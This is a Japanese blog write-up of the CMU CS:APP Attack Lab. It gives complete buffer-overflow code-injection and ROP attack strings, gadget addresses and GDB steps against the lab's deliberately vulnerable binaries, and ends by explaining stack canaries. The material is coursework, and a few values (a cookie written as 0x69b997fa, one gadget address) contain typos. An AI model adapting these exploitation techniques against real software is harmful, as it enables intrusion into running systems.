banner
CedricXu

CedricXu

计科学生 / 摄影爱好者

[CSAPP]攻撃ラボ コードインジェクションとROP

概要#

実験に対応する章:3.10.3&3.10.4
実験内容:セキュリティ脆弱性を持つ 2 つのプログラムに対して 5 つの異なる攻撃方法を生成
実験講義:http://csapp.cs.cmu.edu/3e/attacklab.pdf
実験の成果:

  • バッファオーバーフローに対するさまざまな攻撃方法を学ぶ
  • より安全なプログラムを書く方法と、オペレーティングシステムやコンパイラがプログラムの安全性を高めるために提供する機能を学ぶ
  • x86-64 プログラムのスタックとパラメータ渡しメカニズムを理解する
  • GDBOBJDUMPなどのデバッグツールに慣れる

前書き#

私たちの攻撃対象は CTARGET と RTARGET という 2 つの脆弱な実行可能プログラムで、どちらも標準入力から文字列を読み取る機能を持っています。関数の定義は以下の通りです:

unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

関数はスタック上にBUFFER_SIZEのサイズのメモリを確保します。入力する文字列の長さがこのサイズを超えると、予期しないスタック領域、例えば戻りアドレスを変更することができ、攻撃を仕掛けることができます。
実験概要

パート Ⅰ: コードインジェクション攻撃#

最初の 3 つのステージでは、コードインジェクションを使用して CTARGET を攻撃します。このプログラムのスタック位置は毎回の実行で一定であり、スタック上のデータは実行可能なコードと見なすことができます。

レベル 1#

ステージ 1 では、指示を注入する必要はなく、戻りアドレスを変更するだけでプログラムをリダイレクトします。
getbuf関数は CTARGET 内でtest関数によって呼び出されます:

void test() {
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

通常、getbufは実行後にtestに戻り、情報を印刷しますが、私たちはこの動作を変更してtouch1を実行したいと考えています:

void touch1() {
	vlevle = 1;
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

getbufのアセンブリコードを見てみましょう:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

以下はgetbuf実行時のスタックの構成を示しています。このプログラムはスタックポインタを 0x28 減少させ、スタック上に 40 バイトを割り当て、文字配列bufはスタックの最上部にあります。
image.png
したがって、私たちは 40 バイトの空白文字を入力し、次に 8 バイトのターゲットアドレスを入力して元の戻りアドレスを上書きする必要があります。逆アセンブルコードを調べてtouch1関数のアドレスを取得します。

00000000004017c0 <touch1>

したがって、私たちの攻撃文字列は次のようになります。

#phase1.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

成功しました。実行時に-qを追加すると CMU のサーバーとの通信をキャンセルできます。

 ./hex2raw < ./phase1/phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

レベル 2#

ステージ 2 では、攻撃文字列に少量のコードを挿入し、touch2を実行することを要求します。

void touch2(unsigned val) {
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
	exit(0);
}

touch1と比較して、touch2には無符号のパラメータcookieが追加されています。必要な値はcookie.txtにあり、0x59b997faです。
アセンブリ:

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	call   401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	call   401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

cookieの値は%rdiに格納されるため、実行する手順は次のとおりです:

  • 0x69b997fa%rdiに格納する
  • touch2を呼び出す
    これらの 2 つの手順の命令を攻撃文字列の先頭に置き、攻撃文字列の 41-48 バイトを文字列のアドレス A に変更します。これはgetbuf内の%rsp-0x28の最低アドレスです。これにより、getbufが戻ると A に到達し、上記の 2 つの手順が実行されます。攻撃文字列が読み込まれた後のスタックは以下のようになります:
    image.png
    次に A の実際の値を取得します。GDBを使用してgetbufがスタックポインタを移動した後にブレークポイントを設定し、%rspの値を表示します。
❯ gdb ctarget
(gdb) b *0x4017af
(gdb) run -q
(gdb) p /x $rsp
$1 = 0x5561dc78

次に攻撃手順の機械コードを取得します。まずアセンブリ形式で書きます。

movq $0x59b997fa, %rdi   # cookieを%rdiに書き込む
pushq $0x4017ec          # touch2にジャンプ
ret

次にclangを使用してアセンブルし、objdumpで逆アセンブルします。

❯ clang -c phase2.s & objdump -d phase2.o > phase2_dump.s

次の内容が得られます:

0000000000000000 <.text>:
   0: 48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7: 68 ec 17 40 00          push   $0x4017ec
   c: c3                      ret

したがって、攻撃文字列は次のようになります:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00    #   攻撃命令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00    #   攻撃命令のアドレス、すなわちA

成功しました:

❯ ./hex2raw < ./phase2/phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

レベル 3#

ステージ 3 でもコードインジェクション攻撃を行います。第二段階と比較して、渡される無符号数cookieは文字列形式になり、実行するターゲットプログラムtouch3は次のようになります:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
	char cbuf[110];
	/* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
	vlevel = 3;     /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

hexmatchの役割は、入力された文字列がcookieと等しいかどうかを比較することです。全体の考え方はステージ 2 と似ていますが、次の 2 点に注意が必要です:

  • cookieは文字列形式で渡されるため、ASCII コード形式に変換してスタックに格納する必要があります。
  • getbufhexmatchを呼び出す際、strcmpの前に 4 回のプッシュ操作が行われるため、文字列の格納位置に注意して上書きされないようにする必要があります。
    攻撃文字列入力後のスタックは次のようになります:
    image.png
    攻撃命令をアセンブリ形式で書きます:
movq $0x5561dca8, %rdi  # cookie文字列の格納位置(A+0x30)
pushq $0x4018fa         # touch3のアドレス
ret

アセンブリを逆アセンブルして機械コードを得ます:

0000000000000000 <.text>:
   0: 48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7: 68 fa 18 40 00          push   $0x4018fa
   c: c3                      ret

攻撃文字列を構築します:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00     #    攻撃命令
00 00 00 00 00 00 00 00     <-|
00 00 00 00 00 00 00 00       |  この4行は上書きされます
00 00 00 00 00 00 00 00       |  
78 dc 61 55 00 00 00 00     <-|- 攻撃命令のアドレス
35 39 62 39 39 37 66 61     #    cookieのASCIIコード 
00 00 00 00 00 00 00 00     #    \0

成功しました:

❯ ./hex2raw < ./phase3/phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

パート Ⅱ: リターン指向プログラミング#

バッファオーバーフローを利用してコードインジェクション攻撃を行うのは非常に危険であるため、人々はそれに対抗するためのいくつかの技術を使用しています。最後の 2 つのステージでは、RTARGETを攻撃します。これは次の 2 つの技術を使用しています:

  • スタックのランダム化:毎回の実行時にスタックの位置が変わるため、私たちは攻撃文字列のスタックアドレス、すなわち前述の A を攻撃することができません。
  • 実行可能コード領域の制限:スタックに保存された内容を実行不可としてマークするため、攻撃文字列にジャンプできたとしても、セグメンテーションフォルトにより実行できません。
    幸いにも、賢い人々が解決策を見つけました —— リターン指向プログラミング(ROP)。
    image.png
    その原理は、プログラム自体のコードセクションを結合して攻撃を行うことです。結合する際の各小部分を gadget と呼び、各 gadget は数命令を含み、0x3c(ret 命令)で終了します。
    例を見てみましょう。これは RTARGET プログラム内のある C 言語のコードスニペットです。
void setval_210(unsigned *p) {
	*p = 3347663060U;
}

および対応するアセンブリ命令:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7        movl $0xc78948d4,(%rdi)
400f1b: c3                       retq

ここに含まれる48 49 c7の部分はmovq %rax, %rdiとしてエンコードでき、c3retとしてエンコードできます。したがって、0x400f118にジャンプすると、このコードの機能は次のようになります:

movq %rax, %rdi
ret

これが gadget です。攻撃の行動が明確になったら、適切な gadget を探し、それらを組み合わせて攻撃のコードチェーンを構成します。

レベル 2#

ステージ 4 では、ROP を使用してステージ 2 と同じタスクを完了し、touch2に cookie の値を渡します。私たちは次の 2 つのステップに分解しました:

  • 0x69b997fa%rdiに格納する
  • touch2を呼び出す
    同時に、問題では最初の 8 つのレジスタ(% rax-% rdi)のみを使用することが要求され、start_farmmid_farmの間の命令のみを gadget として使用する必要があります。慎重に調査した結果、攻撃プロセスを次の 2 つの gadget に変えることができることがわかりました:
popq %rax            (58)
movq %rax %rdi       (48 89 c7)   

各 gadget のアドレスを特定します。

00000000004019ca <getval_280>:
  4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax
  4019cf: c3                    ret

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3                    ret

アドレスはそれぞれ0x4019cc0x4019a3を取ることができ、90は nop としてエンコードできるため無視できます。したがって、攻撃文字列は次のようになります:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00         # 最初の0x28バイト
cc 19 40 00 00 00 00 00         # popq %raxを指す戻りアドレス
fa 97 b9 59 00 00 00 00         # popする値(cookie)
a2 19 40 00 00 00 00 00         # movqを指す
ec 17 40 00 00 00 00 00         # touch2を指す

成功しました:

❯ ./hex2raw < ./phase4/phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

レベル 3#

ステージ 5 では、ROP を使用してステージ 3 のタスクを解決し、touch3に cookie 文字列のアドレスを渡します。したがって、%rspの値を知る必要があり、mid_farmの後に異なる関数があることがわかりました:

00000000004019d6 <add_xy>:
  4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  4019da: c3                    ret

この関数の役割は、%rdi%rsiを加算することです。したがって、%rspと文字列アドレスの相対オフセットを格納することで、文字列アドレスを計算できます。具体的なプロセスは次のとおりです:

1. movq %rsp %rdi
2. popq %rax          # スタックからオフセットをポップ
3. movq %rax %rsi
4. movq %rax %rdi     # 計算結果をパラメータとして使用

1 については、直接の手順は見つかりませんでしたので、2 つのステップに分解します:

  • movq %rsp %rax (48 89 e0)
  • movq %rax %rdi (48 89 c7)
0000000000401a03 <addval_190>:
  401a03: 8d 87 41 48 89 e0     lea    -0x1f76b7bf(%rdi),%eax
  401a09: c3                    ret

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3                    ret

2 については、popq % rax は 58 にエンコードされます。次のように見つかりました:

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3  

3 についても直接の手順は見つかりませんでしたので、3 つのステップに分解します:

  • movq %eax %edx (89 c2)
  • movq %edx %ecx (89 d1)
  • movq %ecx %esi (89 ce)
    次の gadget が見つかりました:
00000000004019db <getval_481>:
  4019db: b8 5c 89 c2 90        mov    $0x90c2895c,%eax
  4019e0: c3                    ret
  
0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3 

0000000000401a11 <addval_436>:
  401a11: 8d 87 89 ce 90 90     lea    -0x6f6f3177(%rdi),%eax
  401a17: c3                    ret

注意:38 c9はエンコード後に nop と同じ機能を持つため無視できます。したがって、攻撃文字列は次のようになります:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     # 空のまま保持
06 1a 40 00 00 00 00 00     # movq %rsp %rax
a2 19 40 00 00 00 00 00     # movq %rax %rdi <-- %rspの値を取得
ab 19 40 00 00 00 00 00     # popq %rax
48 00 00 00 00 00 00 00     # オフセット
dd 19 40 00 00 00 00 00     # movl %eax %edx
34 1a 40 00 00 00 00 00     # movl %edx %ecx
13 1a 40 00 00 00 00 00     # movl %ecx %esi
d6 19 40 00 00 00 00 00     # add_xy
a2 19 40 00 00 00 00 00     # movq %rax %rdi
fa 18 40 00 00 00 00 00     # touch3
35 39 62 39 39 37 66 61     # cookie文字列
00 00 00 00 00 00 00 00

ここで cookie 文字列は%rspの値を取得する位置の下 9 行にあり、オフセットは8*9=72=0x48です。注意:phase3 と同様に、攻撃文字列の第 2 行から第 5 行には cookie を配置しないでください。そうしないと上書きされてしまいます。最後の問題も解決しました:

❯ ./hex2raw < ./phase5/phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

後記#

上記の 2 つの方法(スタックのランダム化と実行可能コード領域の制限)が ROP に対して効果的な防御を行えない場合、他に何か方法はあるのでしょうか?実際にはあります。それはスタック破壊検出です。スタックの破壊は、ローカルバッファの境界を超えたときに発生することが多いため、スタックフレーム内の任意のローカルバッファとスタックの状態の間に特別なカナリア(canary)値を保存できます。この値はプログラムの実行中にランダムに生成され、関数が戻る前にプログラムはカナリア値が変更されていないかを確認します。もし変更されていれば、プログラムは異常終了します。
最近の GCC バージョンは、関数がスタックオーバーフロー攻撃を受けやすいかどうかを判断し、自動的にこのようなオーバーフローチェックを挿入します。これにより、わずかな性能損失で良好な効果が得られます。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。